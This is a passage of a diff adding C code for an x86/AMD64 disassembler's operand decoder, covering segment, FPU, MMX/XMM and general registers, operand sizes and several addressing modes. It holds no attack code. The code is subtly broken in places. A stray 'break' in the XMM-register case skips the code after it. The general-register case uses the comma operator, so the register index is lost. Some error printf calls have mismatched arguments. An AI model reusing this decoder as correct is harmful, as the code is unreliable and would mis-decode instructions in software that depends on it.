+ if (Instruction->Type != ITYPE_PUSH && Instruction->Type != ITYPE_POP) Operand->Length = 2;
+ else Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_SEG_CS;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] seg CS\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_DS:
+ if (!Decode) continue;
+ if (Instruction->Type != ITYPE_PUSH && Instruction->Type != ITYPE_POP) Operand->Length = 2;
+ else Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_SEG_DS;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] seg DS\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_ES:
+ if (!Decode) continue;
+ if (Instruction->Type != ITYPE_PUSH && Instruction->Type != ITYPE_POP) Operand->Length = 2;
+ else Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_SEG_ES;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] seg ES\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FS:
+ if (!Decode) continue;
+ if (Instruction->Type != ITYPE_PUSH && Instruction->Type != ITYPE_POP) Operand->Length = 2;
+ else Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_SEG_FS;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] seg FS\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_GS:
+ if (!Decode) continue;
+ if (Instruction->Type != ITYPE_PUSH && Instruction->Type != ITYPE_POP) Operand->Length = 2;
+ else Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_SEG_GS;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] seg GS\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_SS:
+ if (!Decode) continue;
+ if (Instruction->Type != ITYPE_PUSH && Instruction->Type != ITYPE_POP) Operand->Length = 2;
+ else Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_SEG_SS;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] seg SS\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_CR0:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize;
+ Operand->Register = X86_REG_CR0;
+ Operand->Flags |= OP_REG;
+ //DISASM_OUTPUT(("[SetOperand] reg CR0\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_STx:
+ if (!Decode) continue;
+ Operand->Length = 10;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Flags |= OP_REG;
+ Register = X86_GET_REG(X86Instruction->modrm_b);
+ Operand->Register = X86_FPU_OFFSET + Register;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_STx: reg st(%d)\n", Register));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_ST0:
+ if (!Decode) continue;
+ Operand->Length = 10;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_REG_ST0;
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_ST1:
+ if (!Decode) continue;
+ Operand->Length = 10;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_REG_ST1;
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_FPU_STATUS:
+ if (!Decode) continue;
+ Operand->Length = 2;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_FPU_CONTROL:
+ if (!Decode) continue;
+ Operand->Length = 2;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_FPU_TAG:
+ if (!Decode) continue;
+ Operand->Length = 2;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_FLDZ:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("<0.0>");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FLD1:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("<1.0>");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FLDPI:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FLDL2T:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FLDL2E:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FLDLG2:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FLDLN2:
+ if (!Decode) continue;
+ Operand->Type = OPTYPE_FLOAT;
+ Operand->Length = 10;
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ ////////////////////////////////////////////////////////////
+ // Fixed sizes regardless of operand size
+ ////////////////////////////////////////////////////////////
+
+ case OPTYPE_b: // byte regardless of operand size
+ Operand->Length = 1;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_b (size 1, signed %d)\n", ((OperandFlags & OP_SIGNED) != 0)));
+ break;
+
+ case OPTYPE_w: // word regardless of operand size
+ Operand->Length = 2;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_w (size 2)\n"));
+ break;
+
+ case OPTYPE_d: // dword regardless of operand size
+ Operand->Length = 4;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_d (size 4)\n"));
+ break;
+
+ case OPTYPE_q: // qword regardless of operand size
+ Operand->Length = 8;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_q (size 8)\n"));
+ break;
+
+ case OPTYPE_o: // oword regardless of operand size
+ Operand->Length = 16;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_o (size 16)\n"));
+ break;
+
+ case OPTYPE_dt: // 6-byte or 10-byte pseudo descriptor (sgdt, lgdt, sidt, lidt)
+ if (IS_AMD64()) Operand->Length = 10;
+ else Operand->Length = 6;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_dt (%d bytes)\n", Operand->Length));
+ break;
+
+ case OPTYPE_cpu:
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Undocumented loadall instruction?\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ Operand->Length = 204;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_cpu (size 204)\n"));
+ break;
+
+ ////////////////////////////////////////////////////////////
+ // Sizes depending on the operand size
+ ////////////////////////////////////////////////////////////
+
+ case OPTYPE_z: // word if operand size is 16 bits and dword otherwise
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: case 4: Operand->Length = 4; break;
+ case 2: Operand->Length = 2; break;
+ default: assert(0); return NULL;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_z (length %d)\n", Operand->Length));
+ break;
+
+ case OPTYPE_v: // word, dword, or qword
+ Operand->Length = X86Instruction->OperandSize;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_v (size %d, signed = %d)\n", Operand->Length, ((OperandFlags & OP_SIGNED) != 0)));
+ break;
+
+ case OPTYPE_a: // two word or dword operands in memory (used only by bound)
+ assert(Instruction->OpcodeBytes[0] == X86_BOUND);
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: case 4: Operand->Length = 8; break;
+ case 2: Operand->Length = 4; break;
+ default: assert(0); return NULL;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_a (size %d)\n", Operand->Length));
+ break;
+
+ case OPTYPE_p: // 32-bit or 48-bit pointer depending on operand size
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasSegmentOverridePrefix)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Segment override used when segment is explicit\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: case 4: Operand->Length = 6; break;
+ case 2: Operand->Length = 4; break;
+ default: assert(0); return NULL;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_p (length %d)\n", Operand->Length));
+ break;
+
+ case OPTYPE_dq: // dword or qword
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_dq (size 4 or 8)\n"));
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Length = 8; break;
+ case 4: case 2: Operand->Length = 4; break;
+ default: assert(0); return NULL;
+ }
+ break;
+
+ case OPTYPE_mw: // a word if the destination operand is memory
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_mw (size 0)\n"));
+ assert(X86Instruction->HasModRM);
+ if (modrm.mod == 3) Operand->Length = X86Instruction->OperandSize; // using register
+ else Operand->Length = 2; // using memory
+ break;
+
+ case OPTYPE_lea:
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_lea (size 0)\n"));
+ assert(OperandIndex == 1);
+ Operand->Length = Instruction->Operands[0].Length;
+ break;
+
+ ////////////////////////////////////////////////////////////
+ // FPU types
+ ////////////////////////////////////////////////////////////
+
+ case OPTYPE_ps: // packed single real
+ Operand->Length = 4;
+ Operand->Type = OPTYPE_FLOAT;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_ps (packed single real)\n"));
+ break;
+ case OPTYPE_pd: // packed double real
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_FLOAT;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_pd (packed double real)\n"));
+ break;
+ case OPTYPE_pb: // packed BCD
+ Operand->Length = 10;
+ Operand->Type = OPTYPE_BCD;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_pb (packed BCD)\n"));
+ break;
+ case OPTYPE_ss: // scalar single real
+ Operand->Length = 4;
+ Operand->Type = OPTYPE_FLOAT;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_ss (single real)\n"));
+ break;
+ case OPTYPE_sd: // scalar double real
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_FLOAT;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_sd (double real)\n"));
+ break;
+ case OPTYPE_se: // extended real
+ Operand->Length = 10;
+ Operand->Type = OPTYPE_FLOAT;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_se (extended real)\n"));
+ break;
+
+ case OPTYPE_fev: // FPU environment (28 bytes in 32-bit modes, 14 bytes in 16-bit real mode)
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: case 4: Operand->Length = 28; break;
+ case 2: Operand->Length = 14; break;
+ default: assert(0); return NULL;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_fev (FPU environment, length %d)\n", Operand->Length));
+ break;
+
+ case OPTYPE_fst1: // FPU state (108 bytes in 32-bit modes, 94 bytes in 16-bit real mode)
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: case 4: Operand->Length = 108; break;
+ case 2: Operand->Length = 94; break;
+ default: assert(0); return NULL;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_fst1 (FPU state, length %d)\n", Operand->Length));
+ break;
+
+ case OPTYPE_fst2: // 512 bytes for FPU state (FPU + MMX + XXM + MXCSR)
+ Operand->Length = 512;
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_fst2 (FPU + MMX + XXM + MXCSR state, length 512)\n"));
+ break;
+
+ case OPTYPE_sso:
+ if (modrm.mod == 3) // from register
+ {
+ Operand->Length = 16;
+ }
+ else // from memory
+ {
+ Operand->Length = 4;
+ Operand->Type = OPTYPE_FLOAT;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_sso (single real or oword)\n"));
+ break;
+
+ case OPTYPE_sdo:
+ if (modrm.mod == 3) // from register
+ {
+ Operand->Length = 16;
+ }
+ else // from memory
+ {
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_FLOAT;
+ }
+ //DISASM_OUTPUT(("[SetOperand] OPTYPE_sso (double real or oword)\n"));
+ break;
+
+ default:
+ assert(0);
+ return NULL;
+ }
+
+ switch (AddressMode)
+ {
+ ////////////////////////////////////////////////////////////
+ // Special types
+ ////////////////////////////////////////////////////////////
+
+ case AMODE_xlat: // DS:[EBX+AL]
+ if (!Decode) continue;
+ assert(Operand->Length == 1);
+ Operand->Flags |= OP_ADDRESS | OP_REG;
+ Operand->Type = OPTYPE_STRING;
+
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RBX; break;
+ case 4: Operand->Register = X86_REG_EBX; break;
+ case 2: Operand->Register = X86_REG_BX; break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_ADDR();
+ X86Instruction->Scale = 1;
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ X86Instruction->IndexRegister = X86_REG_AL;
+ X86Instruction->HasIndexRegister = TRUE;
+
+ //DISASM_OUTPUT(("[SetOperand] AMODE_xlat (DS:[EBX+AL])\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "%s:[%s]",
+ Segments[X86Instruction->Segment], X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ ////////////////////////////////////////////////////////////
+ // Without mod R/M byte
+ ////////////////////////////////////////////////////////////
+
+ case AMODE_I: // immediate value
+ if (Decode)
+ {
+ Operand->Type = OPTYPE_IMM;
+ switch (Operand->Length)
+ {
+ case 8:
+ if (OperandFlags & OP_SIGNED) Operand->Value_S64 = (S64)*((S64 *)Address);
+ else Operand->Value_U64 = (U64)*((U64 *)Address);
+ break;
+ case 4:
+ if (!(OperandFlags & OP_SIGNED) && OperandIndex == 1 &&
+ (Instruction->Operands[0].Flags & (OP_REG|OP_ADDRESS)) &&
+ Instruction->Operands[0].Length == 8)
+ {
+ // For some opcodes the second operand is a sign-extended imm32 value
+ assert(X86Instruction->OperandSize == 8);
+ switch (Instruction->Type)
+ {
+ case ITYPE_AND:
+ case ITYPE_ADD:
+ case ITYPE_XCHGADD:
+ case ITYPE_CMP:
+ case ITYPE_MOV:
+ case ITYPE_SUB:
+ case ITYPE_TEST:
+ case ITYPE_OR:
+ case ITYPE_XOR:
+ assert(OperandIndex == 1);
+ Operand->Value_S64 = (S64)*((S32 *)Address);
+ break;
+ default:
+ assert(0);
+ if (OperandFlags & OP_SIGNED) Operand->Value_S64 = (S64)*((S32 *)Address);
+ else Operand->Value_U64 = (U64)*((U32 *)Address);
+ break;
+ }
+ }
+ else
+ {
+ if (OperandFlags & OP_SIGNED) Operand->Value_S64 = (S64)*((S32 *)Address);
+ else Operand->Value_U64 = (U64)*((U32 *)Address);
+ }
+ break;
+ case 2:
+ if (OperandFlags & OP_SIGNED) Operand->Value_S64 = (S64)*((S16 *)Address);
+ else Operand->Value_U64 = (U64)*((U16 *)Address);
+ break;
+ case 1:
+ if (OperandFlags & OP_SIGNED) Operand->Value_S64 = (S64)*((S8 *)Address);
+ else Operand->Value_U64 = (U64)*((U8 *)Address);
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+ }
+ INSTR_INC(Operand->Length); // increment Instruction->Length and address
+ assert(X86Instruction->OperandSize >= Operand->Length);
+ if (Instruction->Type == ITYPE_PUSH) Operand->Length = X86Instruction->OperandSize;
+
+ //DISASM_OUTPUT(("[SetOperand] AMODE_I (immediate data)\n"));
+ if (Disassemble)
+ {
+ X86_WRITE_IMMEDIATE();
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case AMODE_J: // IP-relative jump offset
+ SANITY_CHECK_ADDRESS_SIZE();
+ if (Decode)
+ {
+ Operand->Flags |= OP_IPREL | OP_SIGNED | OP_REG | OP_ADDRESS;
+ Operand->Type = OPTYPE_OFFSET;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RIP; break;
+ case 4: Operand->Register = X86_REG_EIP; break;
+ case 2: Operand->Register = X86_REG_IP; break;
+ default: assert(0); return NULL;
+ }
+ switch (Operand->Length)
+ {
+ case 8: X86Instruction->Displacement = *((S64 *)Address); break;
+ case 4: X86Instruction->Displacement = (S64)*((S32 *)Address); break;
+ case 2: X86Instruction->Displacement = (S64)*((S16 *)Address); break;
+ case 1: X86Instruction->Displacement = (S64)*((S8 *)Address); break;
+ default: assert(0); return NULL;
+ }
+
+ Operand->Value_S64 = X86Instruction->Displacement;
+ X86Instruction->Relative = TRUE;
+
+ if ((Operand->Flags & OP_COND) && !X86Instruction->Displacement)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Both conditions of branch go to same address\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ }
+
+ INSTR_INC(Operand->Length); // increment Instruction->Length and address
+ if (!Decode) continue;
+
+ assert((Operand->Flags & OP_EXEC) && (Instruction->Groups & ITYPE_EXEC));
+ Operand->TargetAddress = ApplyDisplacement((U64)Address, Instruction);
+ X86Instruction->Relative = TRUE;
+ X86_SET_ADDR();
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ X86Instruction->Segment = SEG_CS;
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ assert(Instruction->OperandCount == 1);
+ //DISASM_OUTPUT(("[SetOperand] AMODE_J (branch with relative offset)\n"));
+ if (Disassemble)
+ {
+ X86_WRITE_IP_OFFSET(Operand);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case AMODE_O: // word/dword offset
+ Operand->Type = OPTYPE_OFFSET;
+ Operand->Flags |= OP_ADDRESS;
+ SANITY_CHECK_OPERAND_SIZE();
+ switch (X86Instruction->AddressSize)
+ {
+ case 8:
+ if (Operand->Flags & OP_SIGNED) X86Instruction->Displacement = *((S64 *)Address);
+ else X86Instruction->Displacement = (S64)*((U64 *)Address);
+ break;
+ case 4:
+ if (Operand->Flags & OP_SIGNED) X86Instruction->Displacement = (S64)*((S32 *)Address);
+ else X86Instruction->Displacement = (S64)*((U32 *)Address);
+ break;
+ case 2:
+ if (Operand->Flags & OP_SIGNED) X86Instruction->Displacement = (S64)*((S16 *)Address);
+ else X86Instruction->Displacement = (S64)*((U16 *)Address);
+ break;
+ default:
+ assert(0);
+ return FALSE;
+ }
+
+ INSTR_INC(X86Instruction->AddressSize); // increment Instruction->Length and address
+ if (!Decode) continue;
+
+ X86Instruction->HasFullDisplacement = TRUE;
+ X86_SET_ADDR();
+ X86_SET_TARGET();
+ assert(X86Instruction->Segment == SEG_DS || X86Instruction->HasSegmentOverridePrefix);
+ //DISASM_OUTPUT(("[SetOperand] AMODE_O (offset)\n"));
+ if (Disassemble)
+ {
+ X86_WRITE_OFFSET(Operand);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case AMODE_A: // absolute address
+ Operand->Flags |= OP_ADDRESS | OP_FAR;
+ SANITY_CHECK_ADDRESS_SIZE();
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ X86Instruction->HasSelector = TRUE;
+ X86Instruction->HasSegmentOverridePrefix = FALSE;
+ switch (Operand->Length)
+ {
+ case 6:
+ X86Instruction->Segment = *((U16 *)Address); INSTR_INC(2);
+ X86Instruction->Displacement = (S64)*((S32 *)Address); INSTR_INC(4);
+ break;
+ case 4:
+ X86Instruction->Segment = *((U16 *)Address); INSTR_INC(2);
+ X86Instruction->Displacement = (S64)*((S16 *)Address); INSTR_INC(2);
+ break;
+ default:
+ assert(0);
+ return FALSE;
+ }
+ if (!Decode) continue;
+ X86Instruction->HasFullDisplacement = TRUE;
+ X86_SET_ADDR();
+ X86_SET_TARGET();
+ //DISASM_OUTPUT(("[SetOperand] AMODE_A (absolute address)\n"));
+ if (Disassemble)
+ {
+ X86_WRITE_OFFSET(Operand);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case AMODE_X: // DS:[ESI]
+ if (!Decode) continue;
+ Operand->Flags |= OP_ADDRESS | OP_REG;
+ Operand->Type = OPTYPE_STRING;
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RSI; break;
+ case 4: Operand->Register = X86_REG_ESI; break;
+ case 2: Operand->Register = X86_REG_SI; break;
+ default: assert(0); return NULL;
+ }
+
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ X86_SET_ADDR();
+ if (!X86Instruction->HasSegmentOverridePrefix) X86Instruction->Segment = SEG_DS;
+
+ //DISASM_OUTPUT(("[SetOperand] AMODE_X (addressing via DS:[ESI])\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "%s:[%s]",
+ Segments[X86Instruction->Segment], X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case AMODE_Y: // ES:[EDI]
+ if (!Decode) continue;
+ Operand->Flags |= OP_ADDRESS | OP_REG;
+ Operand->Type = OPTYPE_STRING;
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RDI; break;
+ case 4: Operand->Register = X86_REG_EDI; break;
+ case 2: Operand->Register = X86_REG_DI; break;
+ default: assert(0); return NULL;
+ }
+
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ X86_SET_ADDR();
+ if (X86Instruction->HasSegmentOverridePrefix)
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: segment override used with AMODE_Y\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ Segment = X86Instruction->DstSegment = SEG_ES;
+ X86Instruction->HasDstSegment = TRUE;
+ }
+ else
+ {
+ Segment = X86Instruction->Segment = SEG_ES;
+ }
+
+ //DISASM_OUTPUT(("[SetOperand] AMODE_Y (addressing via ES:[EDI])\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "%s:[%s]",
+ Segments[Segment], X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ ////////////////////////////////////////////////////////////
+ // Mod R/M byte with only registers
+ // Handle that case here since it is straightforward
+ ////////////////////////////////////////////////////////////
+
+ case AMODE_PR: // modrm.rm = mmx register and modrm.mod = 11
+ assert(X86Instruction->HasModRM);
+ if (modrm.mod != 3)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: mod != 3 for AMODE_PR (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ else if (rex_modrm.rm > 7)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: invalid mmx register %d for AMODE_PR (\"%s\")\n", VIRTUAL_ADDRESS, rex_modrm.rm, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ else if (X86Instruction->OperandSize == 2)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: AMODE_PR illegal in 16-bit mode (\"%s\")\n", VIRTUAL_ADDRESS, rex_modrm.rm, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ if (!Decode) continue;
+
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_MMX_OFFSET + rex_modrm.rm;
+ X86_SET_REG(0);
+
+ if (Disassemble)
+ {
+ assert(X86_Registers[Operand->Register]);
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_PR (MMX register)\n"));
+ continue;
+
+ case AMODE_VR: // modrm.rm = xmm register and modrm.mod = 11
+ assert(X86Instruction->HasModRM);
+ if (modrm.mod != 3)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: mod != 3 for AMODE_VR (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ else if (X86Instruction->OperandSize == 2)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: AMODE_VR illegal in 16-bit mode (\"%s\")\n", VIRTUAL_ADDRESS, rex_modrm.rm, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ if (!Decode) continue;
+
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_XMM_OFFSET + rex_modrm.rm;
+ X86_SET_REG(0);
+
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_VR (XMM register)\n"));
+ continue;
+
+ case AMODE_P: // modrm.reg = mmx register
+ assert(X86Instruction->HasModRM);
+ if (rex_modrm.reg > 7)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: invalid mmx register %d for AMODE_P (\"%s\")\n", VIRTUAL_ADDRESS, rex_modrm.reg, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ else if (X86Instruction->OperandSize == 2)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: AMODE_P illegal in 16-bit mode (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ if (!Decode) continue;
+
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_MMX_OFFSET + rex_modrm.reg;
+ X86_SET_REG(0);
+
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_P (MMX register)\n"));
+ continue;
+
+ case AMODE_V: // modrm.reg = xmm register
+ assert(X86Instruction->HasModRM);
+ if (X86Instruction->OperandSize == 2)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: AMODE_P illegal in 16-bit mode (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ if (!Decode) continue;
+
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_XMM_OFFSET + rex_modrm.reg; break;
+ X86_SET_REG(0);
+
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_V (XMM register)\n"));
+ continue;
+
+ case AMODE_R: // modrm.rm is general register and modrm.mod = 11
+ assert(X86Instruction->HasModRM);
+ if (modrm.mod != 3)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: mod != 3 for AMODE_R (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ if (!Decode) continue;
+ Operand->Flags |= OP_REG;
+ switch (Operand->Length)
+ {
+ case 8: Operand->Register = AMD64_64BIT_OFFSET + rex_modrm.rm; break;
+ case 4: Operand->Register = X86_32BIT_OFFSET, rex_modrm.rm; CHECK_AMD64_REG(); break;
+ case 2: Operand->Register = X86_16BIT_OFFSET, rex_modrm.rm; CHECK_AMD64_REG(); break;
+ case 1: Operand->Register = X86_8BIT_OFFSET, rex_modrm.rm; if (X86Instruction->rex_b) CHECK_AMD64_REG(); break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_REG(rex_modrm.rm);
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_R (general register)\n"));
+ continue;
+
+ case AMODE_G: // modrm.reg = general register
